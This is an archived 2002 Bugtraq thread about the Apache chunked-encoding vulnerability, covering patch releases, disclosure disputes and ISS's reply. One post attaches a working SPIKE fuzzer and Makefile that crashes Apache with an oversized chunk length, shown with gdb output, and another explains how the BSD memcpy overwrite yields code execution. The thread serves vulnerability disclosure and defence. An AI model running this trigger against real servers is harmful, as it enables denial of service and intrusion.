An aspect that's interesting, too: Should eEye/Microsoft have
contacted the Apache developers prior to the publication of their
patch/advisories?
> When a vendor is alerted the VCC is CC'd (pun not intentional) and this way
> a co-ordinated full alert can go out when the time is right.
Well, I'm constantly being told that nowadays, handling security
issues requires a business model, and so we are facing questions
whether the VCC may sell early access to its data etc.
Personally, I expect that such a VCC is just another institution to
which you can pay money in order to receive prepublication access
about security issues.
--
Florian Weimer Weimer@CERT.Uni-Stuttgart.DE
University of Stuttgart http://CERT.Uni-Stuttgart.DE/people/fw/
RUS-CERT fax +49-711-685-5898
(8618077) /Florian Weimer <Weimer@CERT.Uni-Stuttgart.DE>/
8619390 2002-06-18 13:23 -0700 /42 rader/ Jay D. Dyson <jdyson@treachery.net>
Sänt av: joel@lysator.liu.se
Importerad: 2002-06-18 23:50 av Brevbäraren
Extern mottagare: Bugtraq <bugtraq@securityfocus.com>
Mottagare: Bugtraq (import) <22719>
Kommentar till text 8613876 av CERT Advisory <cert-advisory@cert.org>
Ärende: Re: CERT Advisory CA-2002-17 Apache Web Server Chunk Handling Vulnerability
------------------------------------------------------------
From: "Jay D. Dyson" <jdyson@treachery.net>
To: Bugtraq <bugtraq@securityfocus.com>
Message-ID: <Pine.GSO.3.96.1020618131849.8877B-100000@crypto>
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
On Mon, 17 Jun 2002, CERT Advisory wrote:
> III. Solution
<snip>
> Upgrade to the latest version
>
> The Apache Software Foundation has released two new versions of Apache
> that correct this vulnerability. System administrators can prevent the
> vulnerability from being exploited by upgrading to Apache version
> 1.3.25 or 2.0.39.
I've just visited http://httpd.apache.org/ for the upgrade on
Apache and noted that v2.0.39 is available[*], but v1.3.25 is nowhere
to be found. Is anyone in the know on an ETA for Apache v1.3.25?
- -Jay
* The source is available only on the main site so far. The mirrors have
not yet caught up.
( ( _______
)) )) .--"There's always time for a good cup of coffee"--. >====<--.
C|~~|C|~~| (>------ Jay D. Dyson -- jdyson@treachery.net ------<) | = |-'
`--' `--' `-- I'll be diplomatic...when I run out of ammo. --' `------'
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.7 (TreacherOS)
Comment: See http://www.treachery.net/~jdyson/ for current keys.
iD8DBQE9D5a2GI2IHblM+8ERAreAAJ9dyTh+FJDngzPUILwA7Y3JX8llwgCglGRW
2clwFrU6U9jM/Ie978ShuPQ=
=+DJK
-----END PGP SIGNATURE-----
(8619390) /Jay D. Dyson <jdyson@treachery.net>/(Ombruten)
8619583 2002-06-18 16:26 -0600 /34 rader/ Dave Ahmad <da@securityfocus.com>
Sänt av: joel@lysator.liu.se
Importerad: 2002-06-19 00:40 av Brevbäraren
Extern mottagare: bugtraq@securityfocus.com
Mottagare: Bugtraq (import) <22723>
Ärende: Fixed version of Apache 1.3 available
------------------------------------------------------------
From: Dave Ahmad <da@securityfocus.com>
To: bugtraq@securityfocus.com
Message-ID: <Pine.LNX.4.43.0206181625350.19401-100000@mail.securityfocus.com>
Hey all,
Jay Dyson reported earlier that Apache httpd 2.0.39 was available for
download. Version 1.3.26 is now available:
http://httpd.apache.org/dist
See also:
http://www.apache.org/dist/httpd/Announcement.html
On Tue, 18 Jun 2002, Jay D. Dyson wrote:
> > The Apache Software Foundation has released two new versions of Apache
> > that correct this vulnerability. System administrators can prevent the
> > vulnerability from being exploited by upgrading to Apache version
> > 1.3.25 or 2.0.39.
>
> I've just visited http://httpd.apache.org/ for the upgrade on
> Apache and noted that v2.0.39 is available[*], but v1.3.25 is nowhere to
> be found. Is anyone in the know on an ETA for Apache v1.3.25?
>
> - -Jay
Dave Ahmad
SecurityFocus
www.securityfocus.com
(8619583) /Dave Ahmad <da@securityfocus.com>/-------
Kommentar i text 8619722 av Armando Ortiz <aortiz@onlinetraffic.com>
8619722 2002-06-18 16:13 -0700 /37 rader/ Armando Ortiz <aortiz@onlinetraffic.com>
Sänt av: joel@lysator.liu.se
Importerad: 2002-06-19 01:46 av Brevbäraren
Extern mottagare: bugtraq@securityfocus.com
Externa svar till: aortiz@onlinetraffic.com
Mottagare: Bugtraq (import) <22726>
Kommentar till text 8619583 av Dave Ahmad <da@securityfocus.com>
Ärende: Re: Fixed version of Apache 1.3 available
------------------------------------------------------------
From: Armando Ortiz <aortiz@onlinetraffic.com>
To: bugtraq@securityfocus.com
Message-ID: <200206182324.QAA20680@ns2.coloservices.com>
Now all we need is for mod_ssl to come out for this version.
Anyone have any timeframe about this?
On Tuesday 18 June 2002 03:26 pm, Dave Ahmad wrote:
> Hey all,
>
> Jay Dyson reported earlier that Apache httpd 2.0.39 was available for
> download. Version 1.3.26 is now available:
>
> http://httpd.apache.org/dist
>
> See also:
>
> http://www.apache.org/dist/httpd/Announcement.html
>
> On Tue, 18 Jun 2002, Jay D. Dyson wrote:
> > > The Apache Software Foundation has released two new versions of
> > > Apache that correct this vulnerability. System administrators can
> > > prevent the vulnerability from being exploited by upgrading to
> > > Apache version 1.3.25 or 2.0.39.
> >
> > I've just visited http://httpd.apache.org/ for the upgrade on
> > Apache and noted that v2.0.39 is available[*], but v1.3.25 is nowhere to
> > be found. Is anyone in the know on an ETA for Apache v1.3.25?
> >
> > - -Jay
>
> Dave Ahmad
> SecurityFocus
> www.securityfocus.com
(8619722) /Armando Ortiz <aortiz@onlinetraffic.com>/
8624201 2002-06-19 08:47 -0400 /49 rader/ zeno <bugtraq@cgisecurity.net>
Sänt av: joel@lysator.liu.se
Importerad: 2002-06-19 22:40 av Brevbäraren
Extern mottagare: aortiz@onlinetraffic.com
Extern kopiemottagare: bugtraq@securityfocus.com
Mottagare: Bugtraq (import) <22735>
Ärende: Re: Fixed version of Apache 1.3 available
------------------------------------------------------------
From: zeno <bugtraq@cgisecurity.net>
To: aortiz@onlinetraffic.com
Cc: bugtraq@securityfocus.com
Message-ID: <200206191247.g5JClVu31610@cgisecurity.net>
>
> Now all we need is for mod_ssl to come out for this version.
>
> Anyone have any timeframe about this?
Its out.
http://www.modssl.org/source/mod_ssl-2.8.9-1.3.26.tar.gz
- zeno@cgisecurity.com
>
> On Tuesday 18 June 2002 03:26 pm, Dave Ahmad wrote:
> > Hey all,
> >
> > Jay Dyson reported earlier that Apache httpd 2.0.39 was available for
> > download. Version 1.3.26 is now available:
> >
> > http://httpd.apache.org/dist
> >
> > See also:
> >
> > http://www.apache.org/dist/httpd/Announcement.html
> >
> > On Tue, 18 Jun 2002, Jay D. Dyson wrote:
> > > > The Apache Software Foundation has released two new versions of
> > > > Apache that correct this vulnerability. System administrators can
> > > > prevent the vulnerability from being exploited by upgrading to
> > > > Apache version 1.3.25 or 2.0.39.
> > >
> > > I've just visited http://httpd.apache.org/ for the upgrade on
> > > Apache and noted that v2.0.39 is available[*], but v1.3.25 is nowhere to
> > > be found. Is anyone in the know on an ETA for Apache v1.3.25?
> > >
> > > - -Jay
> >
> > Dave Ahmad
> > SecurityFocus
> > www.securityfocus.com
>
(8624201) /zeno <bugtraq@cgisecurity.net>/----------
8624276 2002-06-18 21:35 -0700 /45 rader/ Muhammad Faisal Rauf Danka <mfrd@attitudex.com>
Sänt av: joel@lysator.liu.se
Importerad: 2002-06-19 23:01 av Brevbäraren
Extern mottagare: bugtraq@securityfocus.com
Externa svar till: mfrd@attitudex.com
Mottagare: Bugtraq (import) <22737>
Ärende: Re: ISS Advisory: Remote Compromise Vulnerability in Apache HTTP Server
------------------------------------------------------------
From: Muhammad Faisal Rauf Danka <mfrd@attitudex.com>
To: bugtraq@securityfocus.com
Message-ID: <20020619043537.081143ECC@sitemail.everyone.net>
This bug has already been mentioned on the public mailing list for
Apache which is here =
http://groups.yahoo.com/group/new-httpd/message/36545
as we can see it was on Date: Tue May 28, 2002 5:22 pm.
and the bug is fixed in CVS for Apache 2.0 this advisory is rather in
form of a uniformed and questionable advisory. Surely ISS will get a
lot of press for that. =)
oh and Apache 1.3.26 and 2.0.39 are released, These versions are both
security and bug-fix releases. You can download them from:
http://www.apache.org/dist/httpd/
Regards,
---------
Muhammad Faisal Rauf Danka
Chief Technology Officer
Gem Internet Services (Pvt) Ltd.
web: www.gem.net.pk
Vice President
Pakistan Computer Emergency Responce Team (PakCERT)
web: www.pakcert.org
Chief Security Analyst
Applied Technology Research Center (ATRC)
web: www.atrc.net.pk
_____________________________________________________________
---------------------------
[ATTITUDEX.COM]
http://www.attitudex.com/
---------------------------
_____________________________________________________________ Promote
your group and strengthen ties to your members with
email@yourgroup.org by Everyone.net http://www.everyone.net/?btn=tag
(8624276) /Muhammad Faisal Rauf Danka <mfrd@attitudex.com>/(Ombruten)
8624344 2002-06-18 15:55 -0400 /49 rader/ Dave Aitel <dave@immunitysec.com>
Sänt av: joel@lysator.liu.se
Importerad: 2002-06-19 23:27 av Brevbäraren
Extern mottagare: bugtraq@securityfocus.com
Mottagare: Bugtraq (import) <22738>
Kommentar till text 8613327 av <valcu.gheorghe@caatoosee.ro>
Ärende: Re: ISS Advisory: Remote Compromise Vulnerability in Apache HTTP Server
------------------------------------------------------------
From: Dave Aitel <dave@immunitysec.com>
To: bugtraq@securityfocus.com
Message-ID: <1024430129.17741.7.camel@localhost.localdomain>
I don't sell a scanner product.
This is a spike script, and the associated generic spike .c and a
makefile. Get SPIKE 2.4 to compile and run this.
$ make; ./generic_chunked localhost 80 apachechunked.spk 0 0
make: Nothing to be done for `all'.
Target is localhost
Fuzzing Variable 0:0
parsing apachechunked.spk
[Tue Jun 18 15:53:09 2002] [notice] child pid 17647 exit signal
Segmentation fault (11)
Server: Apache-AdvancedExtranetServer/1.3.23 (Mandrake Linux/4mdk)
auth_ldap/1.6.0 mod_ssl/2.8.7 OpenSSL/0.9.6c PHP/4.1.2
(gdb) c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread 1024 (LWP 17224)]
0x401b2d79 in memcpy () from /lib/libc.so.6
(gdb) where
#0 0x401b2d79 in memcpy () from /lib/libc.so.6
#1 0x080950a0 in ?? ()
#2 0x0806366f in ap_get_client_block ()
#3 0x08065b5f in ap_discard_request_body ()
#4 0xd8000000 in ?? ()
Cannot access memory at address 0x80975
(gdb) x/2i $pc
0x401b2d79 <memcpy+41>: mov 0x1c(%edi),%edx
0x401b2d7c <memcpy+44>: sub $0x20,%ecx
(gdb) print/x $edi
$1 = 0xbfffffec
(gdb) q
_____________________________
Dave Aitel
Immunity, Inc.
http://www.immunitysec.com
(8624344) /Dave Aitel <dave@immunitysec.com>/-------
Bilaga (application/x-tar) i text 8624345
Bilaga (application/pgp-signature) i text 8624346
8624345 2002-06-18 15:55 -0400 /433 rader/ Dave Aitel <dave@immunitysec.com>
Importerad: 2002-06-19 23:27 av Brevbäraren
Extern mottagare: bugtraq@securityfocus.com
Mottagare: Bugtraq (import) <22739>
Bilaga (text/plain) till text 8624344
Ärende: Bilaga till: Re: ISS Advisory: Remote Compromise Vulnerability in Apache HTTP Server
------------------------------------------------------------
apachechunked.spk 0100664 0000765 0000765 00000000122 07503705076 013021 0 ustar dave dave //apachechunked.spk
s_string_repeat("A",0x100000);
//s_string("4\r\nAAAA\r\n");
generic_chunked.c 0100644 0000765 0000765 00000016572 07503706656 013023 0 ustar dave dave /* Start webfuzzprelude.c */
/*
Server: Apache-AdvancedExtranetServer/1.3.23 (Mandrake Linux/4mdk) auth_ldap/1.6.0 mod_ssl/2.8.7 OpenSSL/0.9.6c PHP/4.1.2
[Tue Jun 18 15:42:49 2002] [notice] child pid 17224 exit signal
Segmentation fault (11)
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h> /*for memset*/
#include <sys/types.h>
#include <sys/socket.h>
#include <signal.h>
#include "spike.h"
#include "hdebug.h"
#include "tcpstuff.h"
#include "dlrpc.h"
/*change these to skip over variables*/
int SKIPFUZZSTR=0;
int SKIPVARIABLES=0;
void
setup_post()
{
s_string("POST /");
s_string(" HTTP/1.1\r\n");
s_string("Host: ");
s_string("DAVEAITEL");
s_string("\r\n");
s_string("User-Agent: ");
s_string("Mozilla/5.0");
s_string("Galeon/1.0.3 (X11; Linux i686; U;) Gecko/0\r\n");
s_string("Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,video/x-mng,image/png,image/jpeg,image/gif;q=0.2,text/css,*/*;q=0.1\r\n");
s_string("Accept-Language: en\r\n");
s_string("Accept-Encoding: gzip, deflate, compress;q=0.9\r\n");
s_string("Accept-Charset: ISO-8859-1, utf-8;q=0.66, *;q=0.66\r\n");
s_string("Keep-Alive: 300\r\n");
s_string("Connection: keep-alive\r\n");
s_string("Content-type: application/x-www-form-urlencoded\r\n");
s_string("Transfer-Encoding: chunked\r\n");
//s_string("Content-Length: 0\r\n");
s_string("\r\n");
s_string("4\r\n");
s_string("AAAA\r\n");
s_string("80000000\r\n");
//s_string("0\r\n");
//s_string("\r\n");
}
void
usage()
{
fprintf(stderr,"Usage: ./generic_web_server_fuzz target port file.spk skipvariables skipfuzzstring\r\n");
fprintf(stderr,"Example: ./gwsf exchange1 80 owa1.spk 0 0\n");
fprintf(stderr,"http://www.immunitysec.com/spike.html\n");
exit(-1);
}
int
main (int argc, char ** argv)
{
int first;
char * target;
char buffer[150000];
char requestbuffer[150000];
int port;
char * spkfile;
struct spike * our_spike;
unsigned long retval;
int notfin;
int firstfuzz;
int fuzzvarnum,fuzzstrnum; /*for fuzz variable count*/
unsigned long sentnum;
if (argc!=6)
{
usage();
}
target=argv[1];
printf("Target is %s\r\n",argv[1]);
port=atoi(argv[2]);
spkfile = argv[3];
SKIPVARIABLES=atoi(argv[4]);
SKIPFUZZSTR=atoi(argv[5]);
our_spike=new_spike();
s_init_fuzzing();
/*sheesh.*/
signal(SIGPIPE,SIG_IGN);
if (our_spike==NULL)
{
fprintf(stderr,"Malloc failed trying to allocate a spike.\r\n");
exit(-1);
}
setspike(our_spike);
setup_post();
if (spike_send_tcp(target,port)==0)
{
printf("Couldn't connect to host or send data!\r\n");
/*exit(-1);*/
}
/*during s_variable push, if fuzzstring is == currentfuzzstring
then set didlastfuzzstring. If fuzzvariable is == current
variable, set didlastfuzzvariable*/
/*zeroth fuzz variable is first variable*/
s_resetfuzzvariable();
fuzzvarnum=0;
fuzzstrnum=0;
firstfuzz=1;
while (!s_didlastvariable())
{
s_resetfuzzstring();
/*zeroth fuzz string is no change*/
if (firstfuzz)
{
/*zeroth fuzz string is no change*/
/*see below for why we have this if statement and loop*/
if (fuzzvarnum<SKIPVARIABLES )
{
for (fuzzvarnum=0; fuzzvarnum<SKIPVARIABLES; fuzzvarnum++)
{
s_incrementfuzzvariable();
}
}
/*here is another part of where we implement the ability to jump to a particular
place in the fuzzing*/
if (fuzzstrnum<SKIPFUZZSTR)
{
for (fuzzstrnum=0; fuzzstrnum<SKIPFUZZSTR; fuzzstrnum++)
{
s_incrementfuzzstring();
}
}
firstfuzz=0;
}
else
{
/*we reset this here so every new variable gets a new count*/
fuzzstrnum=0;
}
while(!s_didlastfuzzstring())
{
printf("Fuzzing Variable %d:%d\n",fuzzvarnum,fuzzstrnum);
//printf("clearing\n");
spike_clear();
#define MAXSEND 0x80000000
#define SENDNUM 0x4
sentnum=0;
printf("parsing %s\n",spkfile);
s_parse(spkfile);
while ((unsigned int)sentnum<(unsigned int)MAXSEND)
{
printf("sending\n");
if (spike_send()<0)
{
printf("Couldn't connect to host or send data!\r\n");
/*exit(-1);*/
}
sentnum+=SENDNUM;
printf("Sent %x\n",sentnum);
}
/*see, the thing is that the spike is not guaranteed to be
null terminated, so just a plain printf on the
s_get_databuf() is ill-advised.*/
memset(requestbuffer,0x00,sizeof(requestbuffer));
if (s_get_size()>2500)
memcpy(requestbuffer,s_get_databuf(),2500);
else
{
memcpy(requestbuffer,s_get_databuf(),s_get_size());
}
/*here we print out our request*/
printf("Request:\n%.2500s\nEndRequest\n",requestbuffer);
first=1;
notfin=1;
retval=1;
printf("Response:\n");
while(retval && notfin)
{
memset(buffer,0x00,sizeof(buffer));
notfin=s_fd_wait();
notfin=s_fd_wait();
notfin=s_fd_wait();
if (!notfin)
{
printf("Server didn't answer in time limit\n");
break;
}
retval=read(our_spike->fd,buffer,2500);
if (first && (retval==-1 || retval==0) )
{
printf("***Server closed connection!\n");
fprintf(stderr,"Request: %s\n",requestbuffer);
fprintf(stderr,"***Server closed connection!\n");
break;
}
first=0;
if (retval)
{
if (strstr(buffer, "500 ok")
|| strstr(buffer,"Internal Server Error")
)
{
fprintf(stderr,"Request: %s\n",requestbuffer);
fprintf(stderr,"Response: %s\n",buffer);
}
printf("**%.500s**\n",buffer);
/*this is where you filter responses out that you don't want to bother seeing.*/
#if 0
/*don't print out 404 errors*/
if (!strstr(buffer,"404") && !strstr(buffer,"400 Bad Request") && !strstr(buffer,"check that it is entered correctly"))
break;
#endif
/*here we speed things up by no continuing to read past this dumb error message*/
/*do this same thing for any request that continues to slow you down and is non-interesting*/
if (strstr(buffer,"<TITLE>404"))
break;
if (strstr(buffer,"<TITLE>401"))
break;
if (strstr(buffer,"401 Access denied"))
break;
if (strstr(buffer,"Public: OPTIONS"))
break;
if (strstr(buffer,"Please do not alter this file"))
break;
if (strstr(buffer,"GIF89a"))
break;
if (strstr(buffer,"This object may be found <a HREF=\"localstart.asp\""))
break;
if (strstr(buffer,"home page, and then look for links to the information you want"))
break;
if(strstr(buffer,"Location: localstart.asp"))
break;
if (strstr(buffer,"This is the default page that appears on new AOLserver installations"))
break;
if (strstr(buffer,"This page intentionally left blank."))
break;
}
}/*end while read loop*/
printf("End response\n");
fuzzstrnum++;
s_incrementfuzzstring();
// spike_close_tcp();
/*Use this for testing against netcat*/
/*
sleep(1);
*/
}/*end for each fuzz string*/
fuzzvarnum++;
s_incrementfuzzvariable();
}/*end for each variable*/
printf("Done.\n");
return 0;
} /*end program*/
/* End webfuzzpostlude.c */
Makefile 0100644 0000765 0000765 00000007102 07503665531 011163 0 ustar dave dave .SUFFIXES: .a .o .c
CC = gcc
CFLAGS = -Wall -funsigned-char -c -fPIC -ggdb
#webfuzz goes last so we don't crash on it early...
BINS = ss_spike pmspike statd_spike x11_spike post_fuzz post_spike
msrpcfuzz do_post webmitm citrix ntlm2 ntlm_brute
closed_source_web_server_fuzz quakeserver quake halflife oldmsrpcfuzz
webfuzz dltest gopherd generic_listen_tcp libdlrpc.so
generic_web_server_fuzz generic_chunked
ALL = $(BINS)
INCLUDE = -I/usr/local/include -I../include -Ilibntlm-0.21/
LIBSOCKET =
SPIKE_OBS = spike.o listener.o hdebug.o tcpstuff.o spike_dcerpc.o
base64.o udpstuff.o
SS_OBS = $(SPIKE_OBS) ss_spike.o
PM_OBS = $(SPIKE_OBS) pmspike.o
SD_OBS = $(SPIKE_OBS) statd_spike.o
X11_OBS= $(SPIKE_OBS) x11_spike.o
PS_OBS= $(SPIKE_OBS) post_spike.o
SPIKE_HEADERS = ../include/spike.h
HC_LIBS = $(LIBSOCKET)
.c.o:
${CC} ${CFLAGS} ${INCLUDE} $<
all: $(ALL)
ss_spike: $(SS_OBS)
$(CC) -o ss_spike $(SS_OBS)
pmspike: $(PM_OBS)
$(CC) -o pmspike $(PM_OBS)
statd_spike: $(SD_OBS)
$(CC) -o statd_spike $(SD_OBS)
x11_spike: $(X11_OBS)
$(CC) -o x11_spike $(X11_OBS)
post_spike: $(PS_OBS)
$(CC) -o post_spike $(PS_OBS)
webfuzz: $(SPIKE_OBS) webfuzz.o
$(CC) -o webfuzz $(SPIKE_OBS) webfuzz.o
gopherd: $(SPIKE_OBS) gopherd.o
$(CC) -o gopherd $(SPIKE_OBS) gopherd.o
post_fuzz: $(SPIKE_OBS) post_fuzz.o
$(CC) -o post_fuzz $(SPIKE_OBS) post_fuzz.o
closed_source_web_server_fuzz: $(SPIKE_OBS) closed_source_web_server_fuzz.o
$(CC) -o closed_source_web_server_fuzz $(SPIKE_OBS) closed_source_web_server_fuzz.o
msrpcfuzz: $(SPIKE_OBS) msrpcfuzz.o
$(CC) -ggdb -o msrpcfuzz $(SPIKE_OBS) msrpcfuzz.o
oldmsrpcfuzz: $(SPIKE_OBS) oldmsrpcfuzz.o
$(CC) -ggdb -o oldmsrpcfuzz $(SPIKE_OBS) oldmsrpcfuzz.o
do_post: $(SPIKE_OBS) do_post.o
$(CC) -ggdb -o do_post $(SPIKE_OBS) do_post.o
ntlm_brute: $(SPIKE_OBS) ntlm_brute.o libntlm-0.21/libntlm.a
$(CC) -ggdb -o ntlm_brute $(SPIKE_OBS) ntlm_brute.o libntlm-0.21/libntlm.a
ntlm2: $(SPIKE_OBS) ntlm2.o libntlm-0.21/libntlm.a
$(CC) -ggdb -o ntlm2 $(SPIKE_OBS) ntlm2.o libntlm-0.21/libntlm.a
libntlm-0.21/libntlm.a:
cd libntlm-0.21 && make
webmitm: webmitm.o buf.o
$(CC) -ggdb -o webmitm webmitm.o buf.o -lssl
citrix: citrix.o $(SPIKE_OBS)
$(CC) -ggdb -o citrix citrix.o $(SPIKE_OBS)
halflife: halflife.o $(SPIKE_OBS)
$(CC) -ggdb -o halflife halflife.o $(SPIKE_OBS)
quake: quake.o $(SPIKE_OBS)
$(CC) -ggdb -o quake quake.o $(SPIKE_OBS)
quakeserver: quakeserver.o $(SPIKE_OBS)
$(CC) -ggdb -o quakeserver quakeserver.o $(SPIKE_OBS)
dltest: dltest.o dlrpc.o dlargs.o
$(CC) -ggdb -o dltest dltest.o dlrpc.o dlargs.o -ldl
#this next line may be less than portable
libdlrpc.so: dlrpc.o dlargs.o $(SPIKE_OBS)
ld -shared -soname libdlrpc.so -o libdlrpc.so -lc dlrpc.o dlargs.o $(SPIKE_OBS)
generic_listen_tcp: generic_listen_tcp.o dlrpc.o dlargs.o $(SPIKE_OBS) libdlrpc.so
export LD_LIBRARY_PATH=.:$(LD_LIBRARY_PATH)
$(CC) -ggdb -o generic_listen_tcp generic_listen_tcp.o dlrpc.o dlargs.o $(SPIKE_OBS) -ldl -L. -ldlrpc
generic_web_server_fuzz: generic_web_server_fuzz.o dlrpc.o dlargs.o $(SPIKE_OBS) libdlrpc.so
export LD_LIBRARY_PATH=.:$(LD_LIBRARY_PATH)
$(CC) -ggdb -o generic_web_server_fuzz generic_web_server_fuzz.o dlrpc.o dlargs.o $(SPIKE_OBS) -ldl -L. -ldlrpc
generic_chunked: generic_chunked.o dlargs.o $(SPIKE_OBS) libdlrpc.so
export LD_LIBRARY_PATH=.:$(LD_LIBRARY_PATH)
$(CC) -ggdb -o generic_chunked generic_chunked.o dlrpc.o dlargs.o $(SPIKE_OBS) -ldl -L. -ldlrpc
clean:
rm -f *~ *.bak
rm -f include/*~ include/*.bak
rm -f *.o $(BINS)
cd libntlm-0.21 && make clean
realclean: clean
rm -rf #* *.swp *~ core
ls -al out* *.txt
(8624345) /Dave Aitel <dave@immunitysec.com>/(Ombruten)
8624346 2002-06-18 15:55 -0400 /9 rader/ Dave Aitel <dave@immunitysec.com>
Bilagans filnamn: "signature.asc"
Importerad: 2002-06-19 23:27 av Brevbäraren
Extern mottagare: bugtraq@securityfocus.com
Mottagare: Bugtraq (import) <22740>
Bilaga (text/plain) till text 8624344
Ärende: Bilaga (signature.asc) till: Re: ISS Advisory: Remote Compromise Vulnerability in Apache HTTP Server
------------------------------------------------------------
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (GNU/Linux)
Comment: For info see http://www.gnupg.org
iD8DBQA9D5ArB8JNm+PA+iURAsGBAKDgk75USdvgNBgxSGMjxsJ23x/QmgCfbd2z
LlzUSg+SKWzen23TzaQU3VM=
=JPYf
-----END PGP SIGNATURE-----
(8624346) /Dave Aitel <dave@immunitysec.com>/-------
8628880 2002-06-20 10:05 -0400 /45 rader/ Kevin Spett <kspett@spidynamics.com>
Sänt av: joel@lysator.liu.se
Importerad: 2002-06-20 21:41 av Brevbäraren
Extern mottagare: Tina Bird <tbird@precision-guesswork.com>
Extern mottagare: bugtraq@securityfocus.com
Mottagare: Bugtraq (import) <22758>
Kommentar till text 8624772 av Tina Bird <tbird@precision-guesswork.com>
Ärende: Re: Implications of Apache vuln for Oracle
------------------------------------------------------------
From: "Kevin Spett" <kspett@spidynamics.com>
To: "Tina Bird" <tbird@precision-guesswork.com>,
<bugtraq@securityfocus.com>
Message-ID: <002001c21863$9c127740$4501020a@nunhunter>
Oracle Application Server runs on a normal version of apache with a
couple of mods for things like PL/SQL. It's perfectly vulnerable.
Kevin Spett
SPI Dynamics
http://www.spidynamics.com/
----- Original Message -----
From: "Tina Bird" <tbird@precision-guesswork.com>
To: <bugtraq@securityfocus.com>
Sent: Wednesday, June 19, 2002 5:57 PM
Subject: Implications of Apache vuln for Oracle
> Hi all --
>
> Oracle is conspicuously absent from the list of vendors in CERT's Apache
> advisory:
>
> http://www.cert.org/advisories/CA-2002-17.html
>
> especially since the bugs were discovered during Oracle testing. Anyone
> have an update on Oracle Application Server for the chunked encoding
> issue?
>
> thanks very much -- Tina Bird
>
> "The road of excess leads to the palace of wisdom."
> Jade Blue Eclipse
>
> http://www.shmoo.com/~tbird
> Log Analysis http://www.counterpane.com/log-analysis.html
> VPN http://vpn.shmoo.com
>
>
(8628880) /Kevin Spett <kspett@spidynamics.com>/(Ombruten)
8628907 2002-06-20 10:30 +0200 /50 rader/ Stefan Esser <sesser@php.net>
Sänt av: joel@lysator.liu.se
Importerad: 2002-06-20 21:52 av Brevbäraren
Extern mottagare: bugtraq@securityfocus.com
Extern kopiemottagare: vuln-dev@securityfocus.com
Mottagare: Bugtraq (import) <22761>
Ärende: Apache Exploit
------------------------------------------------------------
From: Stefan Esser <sesser@php.net>
To: bugtraq@securityfocus.com
Cc: vuln-dev@securityfocus.com
Message-ID: <20020620083048.GA5738@php.net>
Hi,
i heard several people looking at the gobbles exploit and believing it
can only be fake:
here is my little explanation how bsd memcpy can be exploited:
first a snipset of the bsd memcpy code:
...
1:
addl %ecx,%edi /* copy backwards. */
addl %ecx,%esi
std
[1] andl $3,%ecx /* any fractional bytes? */
decl %edi
decl %esi
rep
movsb
[X] movl 20(%esp),%ecx /* copy remainder by words */
shrl $2,%ecx
subl $3,%esi
subl $3,%edi
rep
movsl
...
In Apache we trigger exactly this piece of code: bsd thinks the two
buffers are overlapping and so it wants to copy backward. The
problem is that you are able to overwrite the call to memcpy
including the supplied paramters (dst, src, length). With up to 3
bytes ([1]) depending on alignment. if you align everything perfectly
you can set the 3 high bytes of length to zero and so change how many
dwords memcpy tries to copy in our case 0x000000?? This is only
possible because the code reads the length param again from stack
[X]... This way you can easily survive the call and overwrite the
saved instruction pointer before the memcpy call...
just my 0.02 cents
Stefan Esser - e-matters Security
(8628907) /Stefan Esser <sesser@php.net>/-(Ombruten)
8631245 2002-06-20 18:06 -0400 /59 rader/ Klaus, Chris (ISSAtlanta) <CKlaus@iss.net>
Sänt av: joel@lysator.liu.se
Importerad: 2002-06-21 21:10 av Brevbäraren
Extern mottagare: 'bugtraq@securityfocus.com' <bugtraq@securityfocus.com>
Mottagare: Bugtraq (import) <22767>
Ärende: ISS Apache Advisory Response
------------------------------------------------------------
From: "Klaus, Chris (ISSAtlanta)" <CKlaus@iss.net>
To: "'bugtraq@securityfocus.com'" <bugtraq@securityfocus.com>
Message-ID: <F3E7C024F0FD4E44BC78DB62CEBC16135682@atlmaiexcp02.iss.local>
There has been a lot of misinformation spread about our ISS Apache
Advisory and wanted to clean up any confusion and misunderstanding.
1) Our policy for publishing advisories is to give a vendor 30 to 45
day quiet period to provide an opportunity to create a patch or work around.
If an exploit for the vulnerability appears in the wild, or a patch and
work-around is provided by the vendor or ISS X-Force, this quiet period is
disregarded and the ISS X-Force advisory is published immediately.
In the case of this advisory, ISS X-Force provided an Apache patch
and did not see a need for a long quiet period.
2) The original ISS X-Force Apache Patch did work properly against the
specific vulnerability described by X-Force, despite claims that it did not.
The Apache and CERT advisories on their websites have been corrected to
reflect this.
3) ISS was not aware of other researchers discovering this
vulnerability nor aware of it in the wild at the time of the release of the
advisory.
4) Following along with Presidential Decision Directive-63, ISS had
cooperated and coordinated with National Infrastructure Protection Center
(NIPC) on this advisory. We will continue to work with NIPC on upcoming
advisories.
5) The Gobbles' exploit has confirmed our decision to release as soon
as possible based on our assumption that others were likely to discover the
same vulnerability in the wild.
6) We do not view this as a race to beat other researchers to releasing
an advisory, but a race to protect our customers in a timely manner.
Due to the general nature of open-source and its openness, the
virtual organizations behind the projects do not have an ability to
enforce strict confidentiality. By notifying the open source
project, its nature is that the information is quickly spread in the
wild disregarding any type of quiet period. ISS X-Force minimizes
the quiet period and delay of protecting customers by providing a
security patch.
ISS has made these decisions based on our mission to provide the best
security to our customers and being a trusted security advisor.
Sincerely,
Christoper W. Klaus
***********************************************************************
Christopher W. Klaus Founder and CTO Internet Security Systems (ISS)
6303 Barfield Road Atlanta, GA 30328 Phone: 404-236-4051 Fax:
404-236-2637 web http://www.iss.net NASDAQ: ISSX Internet Security
Systems ~ The Power To Protect
(8631245) /Klaus, Chris (ISSAtlanta) <CKlaus@iss.net>/(Ombruten)
Kommentar i text 8631590 av Kee Hinckley <nazgul@somewhere.com>
Kommentar i text 8631608 av Thomas Reinke <reinke@e-softinc.com>
Kommentar i text 8631653 av Kevin Spett <kspett@spidynamics.com>
Kommentar i text 8631701 av Mike Eldridge <diz@cafes.net>
8631590 2002-06-21 15:25 -0400 /55 rader/ Kee Hinckley <nazgul@somewhere.com>
Sänt av: joel@lysator.liu.se
Importerad: 2002-06-22 00:29 av Brevbäraren
Extern mottagare: Klaus, Chris (ISSAtlanta) <CKlaus@iss.net>
Extern kopiemottagare: 'bugtraq@securityfocus.com' <bugtraq@securityfocus.com>
Mottagare: Bugtraq (import) <22782>
Kommentar till text 8631245 av Klaus, Chris (ISSAtlanta) <CKlaus@iss.net>
Ärende: Re: ISS Apache Advisory Response
